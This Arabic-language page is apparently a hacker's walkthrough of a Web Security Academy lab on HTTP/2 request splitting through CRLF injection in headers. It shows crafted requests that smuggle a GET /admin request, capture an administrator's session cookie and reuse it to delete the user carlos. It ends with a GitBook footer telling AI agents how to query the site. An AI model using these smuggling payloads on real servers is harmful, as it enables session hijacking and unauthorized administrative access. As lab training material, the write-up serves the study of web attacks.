> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/http2-splitting-via-crlf-injection.md).

# تقسيم طلبات HTTP/2 عبر حقن CRLF

### تقسيم طلبات HTTP/2 عبر حقن CRLF

يقوم الطرف الأمامي بخفض طلبات HTTP/2 إلى HTTP/1 ولا ينظف الرؤوس بشكل صحيح. / يتيح هذا الخلل هجوم تقسيم الطلبات، ويُستخدم هنا لتسميم سطر الاستجابة والوصول إلى لوحة الإدارة لحذف المستخدم **carlos**. / يتصل المسؤول كل **10 ثوانٍ** ويتم إعادة تعيين اتصال الطرف الخلفي كل **10 طلبات**، مما يجعل من السهل العودة إلى اتصال نظيف.

* حتى إذا كانت الاستعلامات مصاغة بشكل سيئ، فإن الخادم لا يُرجع أي رسالة خطأ.
* مثال على محاولة في HTTP/2:

```http
POST / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
Tranfer-Encoding: chunked

3
abc
X


```

لا يتم توليد أي أخطاء.

* تمت إضافة رأس مخصص إلى **رؤوس الطلب** (Burp):

```http
الاسم:
test
القيمة:
test
Transfer-Encoding: chunked
```

<figure><img src="/files/db7fa3d3b9d61ef94985518baca2a6bbbacf4040" alt=""><figcaption></figcaption></figure>

* مع طلب GET يحتوي على جسم، يحدد الخادم أن GET لا يمكنه حمل جسم، مما يؤكد أن بعض عمليات التحقق موجودة لكنها تظل غير كافية للرؤوس المحقونة.

<figure><img src="/files/a941f8bd5b40f5173755ba04dcd9770abc521bcd" alt=""><figcaption></figcaption></figure>

#### حقن CRLF عبر رؤوس HTTP/2

بوضع الرؤوس المُتحكَّم بها عبر HTTP/2، يتم قبول حقن CRLF. / يمكنك بعد ذلك إدراج استعلام إضافي بعد الطلب الشرعي أثناء الخفض إلى HTTP/1.

مثال على حمولة مسرَّبة:

```http
GET / HTTP/2
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net


```

<figure><img src="/files/e58f8f81af6d4f033663c7f2624ca16494c5bb2a" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/93d29be84a01d2e2708fd9e9e5821f89cb60c8dc" alt=""><figcaption></figcaption></figure>

#### الاستغلال

1. احقن استعلامًا مسرَّبًا يستهدف:/ **GET / HTTP Admin/1.1**

<figure><img src="/files/23e95239ad97cfd4f1761d09c1b128142df9cebb" alt=""><figcaption></figcaption></figure>

* أرسل عدة طلبات حتى يُفعِّل المسؤول الاستجابة المحاصَرة.

```http
test

GET /admin HTTP/1.1
Host: 0a28000a0454ccd8800dee4e00990069.web-security-academy.net
```

* اعترض طلب الطرف الخلفي /admin الذي يحتوي على \*\* ملف تعريف ارتباط جلسة المسؤول\*\*.

<figure><img src="/files/b396e5fe7bd2654d4e8ba9349dc66e366fa57f2a" alt=""><figcaption></figcaption></figure>

1. أعد استخدام هذه الجلسة المسروقة للوصول إلى لوحة الإدارة.
2. من اللوحة، احذف المستخدم **carlos**.

<figure><img src="/files/4bcf396aa473a8daeb8bc6c0e7d4059d5bc9d02f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/http2-splitting-via-crlf-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
